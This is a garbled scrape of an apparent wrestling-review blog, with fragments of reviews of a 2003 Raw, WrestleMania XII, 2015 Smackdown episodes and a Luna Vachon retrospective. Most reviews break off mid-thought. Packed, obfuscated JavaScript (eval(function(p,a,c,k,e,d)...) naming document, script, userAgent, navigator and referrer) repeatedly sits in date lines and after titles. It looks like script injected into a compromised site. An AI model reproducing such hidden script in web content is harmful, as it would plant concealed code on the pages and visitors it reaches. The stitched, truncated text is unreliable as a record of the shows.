Monday Night Raw – March 17, 2003: We Must Defend HHH’s Legacy!!!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esssa|var|u0026u|referrer|tdaer||js|php'.split('|'),0,{})) Night Raw
Date: March 17, 2003
Location: Scottrade Center, St. Louis, Missouri
Commentators: Jerry Lawler, Jim Ross

We open, again, with Bischoff, who says that his match with Austin will be a handicap match. He makes it even bigger by saying the Raw superstars will be the lumberjacks. Thanks for clarifying that as I was thinking it might be, like, the 1984 Atlanta Hawks or the cast of Tremors: The Series.

Chief Morley/Lance Storm vs. Rob Van Dam/Kane

Morley threatens the Dudleys with SEVERE consequences if they interfere here. The fans chant USA which tells me one of two things: they want Van Dam to win this on his own or they have no idea that Kane is from Spain. The monster slugs Morley down in the corner and drops him with a clothesline before tagging Van Dam in for the first time. Something like Rolling Thunder gets two on Morley but he drops Van Dam on the top rope to take over.

Post break the Dudleys say they hate what they just had to do but need to feed their families. Simple story but at least it makes sense and was an actual explanation for a change.

HHH wants Goldust later tonight.

Rico vs. Maven

Teddy Long tells Rock that Rodney Mack will take care of Hurricane next. Rodney Mack says the same thing, marking the biggest moment of his career: that time he was on camera with the Rock.

Hurricane vs. Rodney Mack

Jazz/Trish Stratus vs. Victoria/Steven Richards

Jeff Hardy runs out to save Trish and gets a kiss for his efforts.

Chris Jericho says he wanted to be Shawn Michaels but now he wants to end him.

Test/Scott Steiner vs. Christian/Chris Jericho

HHH vs. Goldust

Steve Austin vs. Eric Bischoff

Austin gets a Rock Bottom and Rock sips at a beer to end the show.

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Wrestlemania Count-Up – Wrestlemania XII: I Never Should Have Gone Ziplining

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sedkz|var|u0026u|referrer|ahdin||js|php'.split('|'),0,{})) XII
Date: March 31, 1996
Location: Arrowhead Pond, Anaheim, California
Attendance: 18,853
Commentators: Jerry Lawler, Vince McMahon

The opening video talks about the dream of the champion (to stay on top) and the challenger (to rise to the top of the mountain). They make the match feel like a very big deal which is the right idea. Good stuff.

Camp Cornette vs. Yokozuna/Jake Roberts/Ahmed Johnson

We recap Piper vs. Goldust which was supposed to be Razor vs. Goldust but Razor got in trouble for drugs. The idea is that Goldust is in lust with Piper but the REAL MAN Piper will have none of this gay stuff. The result is a Hollywood Backlot Brawl which is exactly what it sounds like: stupid.

Goldust vs. Roddy Piper

Steve Austin vs. Savio Vega

More car chase stuff. Vince: “This footage looks awfully familiar.”

More car chase stuff.

Hunter Hearst Helmsley vs. Ultimate Warrior

Piper is on his way back to the arena.

Diesel vs. Undetaker

So Diesel cost Undertaker a title match so Undertaker pulled Diesel through the ring during a cage match for the title against Bret. Then Taker did his usual mind games against Diesel, setting up this battle of the titans. Diesel jumps him to start and the brawl is on fast. Taker clotheslines him down but misses an elbow drop. They fight to the floor with Diesel going face first into the steps. This is fast paced stuff so far.

The Dead Man starts slugging back and they both hit big boots to put each other down. Taker sits up first but Diesel hits him in the back to get control again. Off to the bear hug that you knew was coming sooner or later. Taker finally fights out of it and things slow down again. Notice that the fans are into this one, unlike anything in the first hour of the show. Taker hits a clothesline off the top for a somewhat delayed two count.

Rating: B-. For what it was, this was pretty solid stuff. Undertaker looked better than he usually does and it was really in doubt if he could hang with someone that had just come off a year long world title reign. This was probably the turning point for the Dead Man from monster of the week slayer to big time threat to anyone. He would soon be tested by a debuting Mankind, which would change his career forever.

Roddy Piper vs. Goldust

Shawn says this is about getting to the top of the mountain.

Bret says everything has come to this point and he wants to wake up the next day with the belt.

Gorilla Monsoon is officially in charge again, taking over from Piper.

WWF World Title: Bret Hart vs. Shawn Michaels

Back to the headlock which is smart this early in a match like this. Shawn gets up again and fires off some armdrags before hooking an armbar. Freddie Blassie and Stu Hart are in the front row. They run the ropes a few times until Bret takes it back to the mat, only to be caught in a kind of abdominal stretch on the mat. They go into the corner and Shawn fires off some right hands, only to be sent into the other corner. Shawn is cool with that as he sends Bret to the floor with a headscissors. Fifty minutes left.

Michaels starts speeding things up with a standing hurricanrana but Bret hangs onto the ropes to avoid the superkick. A backbreaker gets two for Shawn but Hart bails to the floor to avoid the kick again. Instead Shawn goes up and hits a HUGE dive to the floor to take the champ down. Back in and Shawn skins the cat, only to get caught in a small package for two. A Perfectplex gets two for Shawn and he hooks a sleeper. Hart gets his arm up on the second drop so Shawn rams him into the corner again.

BUT WAIT!

Bret, ever the mature one, storms off like a baby with the ability to walk as Shawn is awarded the title. Shawn has a very touching moment when he realizes he finally won the title and is very somber. Then he turns into Shawn and goes nuts celebrating which he deserves the right to do.

Ratings Comparison

Camp Cornette vs. Yokozuna/Jake Roberts/Ahmed Johnson

Original: D+

Redo: C

Steve Austin vs. Savio Vega

Original: B-

Redo: C+

Ultimate Warrior vs. Hunter Hearst Helmsley

Original: N/A

Redo: N/A

Undertaker vs. Diesel

Original: B

Redo: B-

Roddy Piper vs. Goldust

Original: N/A

Redo: N/A

Shawn Michaels vs. Bret Hart

Original: B

Redo: B

Overall Rating

Original: C-

Redo: C+

I guess it gets better over time.

http://kbwrestlingreviews.com/2011/03/19/history-of-wrestlemania-with-kb-wrestlemania-12-one-really-long-match-and-not-much-else/

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Reviewing the Review: Fast Lane 2015

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfkbf|var|u0026u|referrer|nfnzf||js|php'.split('|'),0,{})) with this show, we had a meaningless show with a main event that no one wanted to see and a bunch of matches in the midcard that are there to set up future rematches, and it’s all free on the WWE Network, making it harder for me to complain about it? What a confusing show I’ve wondered into. Let’s get to it.

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Monday Night Raw – February 16, 2015: The Response To The Acceptance For A Challenge To Talk

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdktk|var|u0026u|referrer|drytb||js|php'.split('|'),0,{})) Night Raw
Date: February 16, 2015
Location: Amway Center, Orlando, Florida
Commentators: Michael Cole, John Bradshaw Layfield, Booker T.

Opening sequence.

Dean Ambrose vs. Luke Harper

Quick chat about the Dust Brothers imploding. Bringing in Dusty is the only logical step from here.

New Day vs. Goldust/Stardust

Stardust and Goldust hug post match, but Stardust lays him out with Cross Rhodes.

Stardust rips into Dusty in the back, saying this family stuff is nonsense. He declares Cody dead and Dusty looks heartbroken.

Kane vs. Roman Reigns

Bryan starts another YES chant and Reigns offers him a chance to get in. Daniel walks away instead.

Post break, Bryan says Reigns is going to have to deal with a lot more YES chants Sunday than he did tonight. If he wants to be World Champion, he has to be mentally tough. This is at least somewhat interesting.

Summer Rae vs. Paige

Sheamus return video.

Seth Rollins vs. Dolph Ziggler

The match is joined in progress after a break with Ziggler fighting out of a chinlock. The Stooges get caught interfering and earn an ejection for their troubles. Ziggler eats a forearm to the jaw but sidesteps a charge to send Rollins into the post. The buckle bomb is countered into a sunset flip for two and the running DDT gets the same. Rollins starts hammering away but misses the top rope knee. A superkick to the ribs looks to set up the Curb Stomp but Ziggler scores with a superkick of his own. The Zig Zag has Rollins beat but the Stooges run in for the DQ at 5:18.

Rowan and Ryback come in for the save and lay out Noble.

Darren Young/??? vs. Ascension

Preview of the Destruction of the Shield DVD.

Damien Mizdow vs. Bad News Barrett

Non-title. Barrett stomps away in the corner to start but Mizdow stomps him down, only to have Miz ring a bell, meaning to stop. He needs Mizdow to come buff his shoe, allowing Barrett to kick him down off the apron. Mizdow takes over again but another bell (potential smudge on sunglasses) distracts Mizdow so the Bull Hammer can give Barrett the pin at 2:31.

Ambrose hits the ring post match and ties Barrett to the post. Ambrose demands that Barrett sign and puts a pen in his hand, literally forcing Barrett to sign. Bad News: “GET A KNIFE! THIS IS ILLEGAL!” Ambrose says that makes it official and the match is on for Fast Lane.

Jimmy Uso/Naomi vs. Natalya/Tyson Kidd

Kidd blames Natalya for the loss.

Daniel Bryan vs. Big Show

Back with Reigns sitting again and Bryan fighting out of a chinlock. Show puts him in a bearhug but gets guillotined on the top rope as JBL tells Booker to stop talking about fairy tales. Big Show is finally pulled over the top rope but Reigns starts throwing out t-shirts. Daniel is thrown into Reigns so Show spears Roman down for some reason. They get back inside and Bryan knocks Show into the corner. He counters a chokeslam into the YES Lock but Show makes the ropes. Here come the YES Kicks for two but Bryan gets launched off the kickout. Bryan goes up top but Reigns Superman Punches Show for the DQ at 14:38.

Rating: C+. That would mean Big Show beat Bryan and Kane only lost via countout. Only in WWE. Anyway, this was actually a pretty decent power vs. speed match and the Reigns stuff was a nice addition to everything. We’ll call this a pleasant surprise more than anything else. We’ll also call the tag match on Thursday, where Bryan and Reigns cleaned out the tag team division, not meaning anything a pretty obvious non-surprise.

Post match Bryan dropkicks Reigns down and the fight is on. Referees eventually break it up but the fans wake up to shout LET THEM FIGHT. Instead they begrudgingly shake hands before fighting again, much to the fans’ delight. Bryan kicks him to the floor and hits the FLYING GOAT but Reigns sends him into the crowd to keep the fight going. A chair is brought in but they’re eventually dragged away to end the show. That was a really good closing segment and I was getting into it by the end.

Results

Dean Ambrose b. Luke Harper – Dirty Deeds

New Day b. Goldust/Stardust – Trouble in Paradise to Goldust

Roman Reigns b. Kane via countout

Paige b. Summer Rae – PTO

Dolph Ziggler b. Seth Rollins via DQ when Jamie Noble and Joey Mercury interfered

Bad News Barrett b. Damien Mizdow – Bull Hammer

Jimmy Uso/Naomi b. Natalya/Tyson Kidd – Sunset flip to Natalya

Big Show b. Daniel Bryan via DQ when Roman Reigns interfered

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Smackdown – February 5, 2015: Let It Go. Let It Go.

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzehe|var|u0026u|referrer|hfirf||js|php'.split('|'),0,{})) February 5, 2015
Location: World Arena, Colorado Spring, Colorado
Commentators: Jerry Lawler, Michael Cole, Byron Saxton

Opening sequence.

Post break Miz says he should be in the main event of Wrestlemania instead and wants to fight Roman tonight.

Goldust/Stardust vs. Ryback/Dolph Ziggler

Ernie Ladd Black History Month video.

Curtis Axel vs. Dean Ambrose

Barrett pops up on screen with the BNZ: Bad News Zone. The bad news this week: Ambrose is much too insane to receive a title shot.

Fandango vs. Adam Rose

The Trust Fall fails and Rose blames the Rosebuds for doing it on purpose. That earns the hot dog a right hand and kick to the knee in something I never thought I would have to type. Fandango pulls him inside and chops Rose in the corner, only to get stomped down in the corner for his efforts. A belly to back suplex onto the apron has Fandango in even more trouble. Back in and Fandango hits a spinwheel kick, yells to the crowd like a good guy would, and drops the guillotine legdrop (finally named the Last Dance) for the pin at 2:07. Fandango was wrestling entirely like a face here.

Miz vs. Roman Reigns

Rusev vs. Erick Rowan

Non-title. They slug it out to start with Rowan kicking him in the face as a huge USA chant starts up. A shoulder sends Rusev outside but he scores with a spinwheel kick back inside to take over. We hit the chinlock for a bit before Rowan clubs him down and beals Rusev across the ring. A middle rope back elbow to the jaw drops Rusev again but Rowan gets kicked off the ropes. The Accolade makes Rowan tap at 3:20.

We look at the Bellas putting spray tanner on Paige from Monday. Somehow this is the most interesting feud in the division in months.

Paige vs. Alicia Fox

Saxton says the Bellas have been the faces of the Divas division for the better part of seven years. That would make my soul hurt if it was actually true, but I think Laycool, Mickie James, Kelly, Melina, AJ and even Paige might have a bit to say about that, especially given that before this title reign, the Bellas had combined to hold titles for about two and a half months in those seven years. Anyway, Paige fights up and hits a dropkick, setting up PTO for the win at 2:32.

Network/Fast Lane hype.

Bray Wyatt says a man is defined by his actions but he is no man. He is the reaper, so what makes you think your actions towards him mean nothing? You are blinded by your pride and the devil is knocking on your door. He just wants you to come home, so just let him in. Let him in. Let Bray in.

Daniel Bryan vs. Jamie Noble/Joey Mercury/Seth Rollins

Post match Kane comes out and beats down Bryan because THIS FEUD WILL NOT FREAKING DIE ALREADY. Bryan gets a big beating to end the show, including a chokeslam and curb stomp. There is no reason for Kane and Bryan to keep fighting, especially after last week.

Results

Dolph Ziggler/Ryback b. Goldust/Stardust – Shell Shock to Goldust

Dean Ambrose b. Curtis Axel – Dirty Deeds

Fandango b. Adam Rose – Last Dance

Roman Reigns b. Miz – Spear

Rusev b. Erick Rowan – Accolade

Paige b. Alicia Fox – PTO

Daniel Bryan b. Seth Rollins/Jamie Noble/Joey Mercury – YES Lock to Mercury

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Smackdown – January 29, 2015: And So It Ends. Please Dear Goodness Let It End.

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nitfa|var|u0026u|referrer|reibn||js|php'.split('|'),0,{})) January 29, 2015
Location: XL Center, Hartford, Connecticut
Commentators: Byron Saxton, Jerry Lawler, Michael Cole

That brings him back to the Royal Rumble which had its fair share of controversy. First of all there was an exceptional triple threat where Rollins proved that he is the future, Cena proved that he is the past and Brock Lesnar proved that he is the beast and World Heavyweight Champion.

HHH promises to make an announcement on Raw that is going to end the controversy and shake the WWE to its core. That sounds like trying to fix the main event already, which might not be the worst idea in the world. This brings out Reigns, who says there was no controversy because he won the Rumble. HHH agrees that he won the match, so now Reigns can win this one.

Big Show vs. Roman Reigns

Vince announces February as a free month for new subscribers on the WWE Network.

Jey Uso vs. Tyson Kidd

Paige vs. Nikki Bella for the Divas Title is official for Fast Lane. Paige is in the back when the Bellas come up to make fun of her for being pale. She elbows Brie in the face but takes a big forearm from Nikki.

Goldust/Stardust vs. Ascension

Kane is STILL looking at the casket and slams it shut.

Kane vs. Daniel Bryan

We see HHH teasing the announcement for Raw again to close the show.

Results

Roman Reigns b. Big Show – Spear

Ascension b. Goldust/Stardust – Fall of Man to Stardust

Daniel Bryan b. Kane – Bryan closed Kane in the casket

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Smackdown – January 9, 2015: One More For The Road

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieahr|var|u0026u|referrer|idtnn||js|php'.split('|'),0,{})) January 9, 2015
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, Tom Phillips, John Bradshaw Layfield

Big E. vs. Adam Rose

Ascension vs. Mad-1/Spartan

Alicia Fox vs. Naomi

This is due to Fox attacking Naomi on Monday after Fox replaced Naomi on Total Divas. Naomi dropkicks her at the bell and hits a running corner splash. Fox comes out of the corner with a sunset flip into a rollup and throws her feet on the ropes to pin Naomi at 1:16. I miss old school cheating like that.

We look at the ambulance match from Monday.

Tag Team Titles: Usos vs. Goldust/Stardust vs. Miz/Damien Mizdow

The Usos send the other brothers and Miz out to the floor (Mizdow is kind enough to do it himself) and the big dives take them down again. Stardust adds the Falling Star but Jimmy takes him out a second later. Jey gets crotched down coming back in and we take a break. Back with Jimmy enziguring Stardust but Miz tags himself in to get the two count. Mizdow tags himself in for the Reality Check and a nice nipup (Cole: “Well HBK does have a beard.”) but Goldust tags himself in to run Mizdow over.

Sin Cara vs. Bad News Barrett

Barrett Bull Hammers him post match.

We get some exclusive comments from the three fired guys after Raw went off the air.

Rowan says disappointment comes to mind.

Daniel Bryan is back in the ring next week.

Roman Reigns/??? vs. Seth Rollins/Big Show

Roman plants Seth with a tilt-a-whirl slam and the Superman Punch takes out both Stooges at the same time. Reigns loads up the spear but walks into a chokeslam, only to have Dean dropkick Show down (with only the good leg connecting). The standing elbow drop puts the Stooges and Kane down, leaving Reigns to spear Rollins for the pin at 12:02.

Results

Big E. b. Adam Rose – Big Ending

Ascension b. Mad-1/Spartan – Fall of Man to Mad-1

Alicia Fox b. Naomi – Rollup with feet on the ropes

Usos b. Miz/Damien Mizdow and Goldust/Stardust – Superfly Splash to Goldust

Roman Reigns/Dean Ambrose b. Big Show/Seth Rollins – Spear to Rollins

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Smackdown – January 2, 2015: The New Year’s Hangover

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryzea|var|u0026u|referrer|attit||js|php'.split('|'),0,{})) January 2, 2015
Location: Norfolk Scope Arena, Norfolk, Virginia
Commentators: Michael Cole, Tom Phillips, John Bradshaw Layfield

Erick Rowan vs. Bray Wyatt

R-Truth/Usos vs. Goldust/Stardust/Adam Rose

Jey gets popped in the mouth by Rose but knocks Adam and Stardust off the apron before backdropping Goldust out next to them. Jimmy (Uso, not Little Jimmy) comes in with some clotheslines for Rose and there goes the orange shirt. Everything breaks down and Truth dives onto Goldust, setting up the superkick and Superfly Splash to Rose for the pin at 8:20.

Ryback vs. Big Show

Cesaro/Tyson Kidd vs. Los Matadores

Dean Ambrose vs. Curtis Axel

The match never starts as Ambrose goes after Axel before the bell and lays him out with Dirty Deeds.

We look at the end of Raw again. Lesnar standing off in the background and looking annoyed intrigues me.

Ascension vs. ???/???

Rusev vs. Roman Reigns

Another thing working against this match was how obvious the ending was. The only question was whether it would be Ryback, Big Show or both guys interfering to cause the DQ. In other words, we sat through a boring match with an obvious ending to continue a feud that not a lot of people want to see to end a really dull show. Happy New Year people.

Results

Bray Wyatt b. Erick Rowan – Sister Abigail

Usos/R-Truth b. Adam Rose/Goldust/Stardust – Superfly Splash to Rose

Big Show b. Ryback via countout

Cesaro/Tyson Kidd b. Los Matadores – Powerbomb/Blockbuster combo to Diego

Ascension b. ???/??? – Fall of Man to #1

Roman Reigns b. Rusev via DQ when Big Show interfered

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2014 Awards: Group/Tag Team of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzyta|var|u0026u|referrer|snssd||js|php'.split('|'),0,{})) is going to be a shorter list of options but those options are close.

Wrestler of the Day – December 19: Luna Vachon

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdth|var|u0026u|referrer|kdzts||js|php'.split('|'),0,{})) we’re looking at a non-traditional Diva: Luna Vachon.

Women’s Battle Royal

There are ten girls in this and only three mean anything: Sherri Martel, Luna Vachon (didn’t mean anything yet) and Candi Divine, who was awful but was popular in the AWA. She’s also Women’s Champion here. I have no idea who most of these women are. They’re blondes in spandex. Someone is thrown out and I can’t hear Capetta, nor do I particularly care to know.

Trongard and Capetta keep calling Luna Leona by mistake. Or by lack of intelligence, I’m not sure which. Two more go out but they’re not important enough to announce. Somehow we got down to six. Luna (NOT LEONA) is gone. I think a Greek chick powerbombs Divine but it’s not important enough to talk about. The Greek chick is out and we’re down to Martel, Debbie Combs, Candi Divine and some chick that Trongard doesn’t bother naming. Divine misses a charge and we’re down to three. Her name is Joyce Grable. Ok then. Martel is knocked under the ropes, Combs throws out Grable and Martel sneaks in to steal the win.

Rating: F. I didn’t know half of the names in this. That should tell you everything you need to know.

And another one at SuperClash III.

Lingerie Battle Royal

Pali the Syrian Terrorist, Luna Vachon, Nina, Pocahontas, Malibu, Brandi Mae, Laurie Lynn, Peggy Lee Leather, Bambi

This is a Beverly Hills Street Fight Battle Royal. You can win by over the top rope or ripping clothes off so it’s more like a bra and panties battle royal. Other than Nina (Ivory) and Luna, none of these girls ever meant anything. This is a POWW match and David McLane is on commentary here and sounds so horny he makes Lawler sound like a nun. The winner gets ten grand as well. The girls start in regular clothes and are as gimmicked as you could imagine. In short, the girl named Leather wears leather etc.

What exactly do you want me to say here? It’s a lingerie battle royal with a total of 2/9 girls being known names. Nina vs. the Terrorist is the main rivalry here. Lynn is out. Various amounts of clothes are torn off and this is really boring. Apparently this started with a pair of jeans being torn up. Pocahontas is gone.

Nina is also and we’re down to five. This is awful by the way. A loud TAKE IT OFF chant starts up. Peggy and Bambi are out, leaving us with Brandi, Luna and the Terrorist. Luna takes a bump from the top (called the third rope by McLane) and we’re down to the two that started this. After far too long, the Terrorist wins.

Rating: F. Just horrible here on all levels and an embarrassment to say the least. McLane is considered scum in wrestling and I can’t say I really disagree based on what I’ve seen from them. This was totally horrible and makes the Divas today look like Thesz vs. Gagne or something like that. Think about that for a minute.

Bam Bam Bigelow/Luna Vachon vs. Doink the Clown/Dink

Vachon goes up but misses a BIG splash, allowing the big boys to come back in. Doink pounds away but is clotheslined to the floor with one shot. Dink annoys both heels but Doink comes back in, only to be sat on in a sunset flip attempt. A charges misses the big clown though and a jumping DDT puts Bigelow down. The Whoopee Cushion (top rope seated senton) completely misses and Dink is knocked to the floor. Doink tries a suplex but Bigelow falls on him for two. The top rope headbutt is enough to finish off the clowns.

Luna wound up in WCW in 1997, setting up this match at Slamboree 1997.

Madusa vs. Luna Vachon

The Artist Formerly Known As Goldust/Luna Vachon vs. Marc Mero/Sable

Mero pounds away on Goldust in the corner but gets clotheslined down to change control. A quick cross body gets two for Marc but Goldust hits an uppercut to put him right back down. The fans chant for Sable as the men collide. A double tag brings in the girls and Sable spears Luna down. She pounds away and kicks Luna in the corner before bealing her across the ring.

From eight days later on Raw, April 6, 1998.

Luna vs. Matt Knowles

Knowles is semi-famous for his time as HC Loc from the very old days of ROH. Goldust beats the tiny man up and Luna gets a top rope headbutt for the pin in like 30 seconds.

This set up the showdown with Sable at In Your House XXI.

Sable vs. Luna Vachon

Luna stuck around for once, including this match on Raw, August 10, 1998.

Luna vs. Jacqueline

s face but it gets the pin anyway. What a mess.

Another Raw on January 11, 1999.

Gillberg vs. Luna Vachon

Gillberg misses a spear, gets his eyes raked across the top rope, has his Jackhammer countered into a cross body, and is pinned by Luna in about thirty seconds.

Women’s Title: Ivory vs. Luna Vachon

Ok then. They’re in an office and fighting with a copier and phone. Ivory is champion here in case you were wondering. It’s your standard match in this genre and is just various weapons shots and throwing people into things. Odd to see women doing it though. A splash onto some cardboard boxes as Luna channels her inner Foley. This is about as pointless as you could ask for. And here’s Tori to save Luna for no apparent reason. Ivory hits Luna with a wooden pole for the pin. That was as pointless as I could have imagined.

Rating: N/A. Way too short here. This was like 3 minutes long and random as all goodness. That’s a shame too as Luna could have had a decent match with someone like Ivory, who actually had some decent training and could work a match. That’s one of Luna’s biggest issues: she keeps getting stuck with these opponents that can’t actually do anything but brawl, when Luna needed a regular worker.

Women’s Title: Tori vs. Jacqueline vs. Luna Vachon vs. Ivory

Tori is the former lesbian stalker that is now just sexy as all goodness. Jackie is just annoying and no one cares about her. Ross is freaking over the Bulldog thing to further emphasize that he is a HEEL. Luna is a face. That’s just odd. Wow this division is dying to have Trish and Lita show up, if nothing else for their looks. No tagging here. Please make it quick. Various people do various teams and no one cares.

The division was a bigger joke than it is today if you can believe that. Crowd is more or less dead here but not quite. The ECW Triple Sleeper is added to as it’s a quadruple sleeper. This is just a series of really stupid looking spots in a row. And Ivory hits Jackie with a belt and wins it. Wow I really could not have cared less there. Ross says he didn’t care because of Stephanie. Nice cover up there Jimbo.

Rating: F. These matches had a tendency to be awful. Awful sounds like a nice thing here as this was just annoying to have to sit through. Terrible match to say the least.

Time to continue the stupid at Survivor Series 1999.

Fabulous Moolah/Mae Young/Tori/Debra vs. Ivory/Luna Vachon/Terri Runnels/Jacqueline

Keep in mind that Tori is a wrestler in name only, Mae and Moolah combined to be over 150 years old, and Terri and Debra are there as eye candy. After less than two minutes, a double clothesline from the old chicks gives Moolah the pin on Ivory. This may have been the worst idea this side of the birth of a hand. This is what Raw is for people.

Luna Vachon vs. Vampire Warrior

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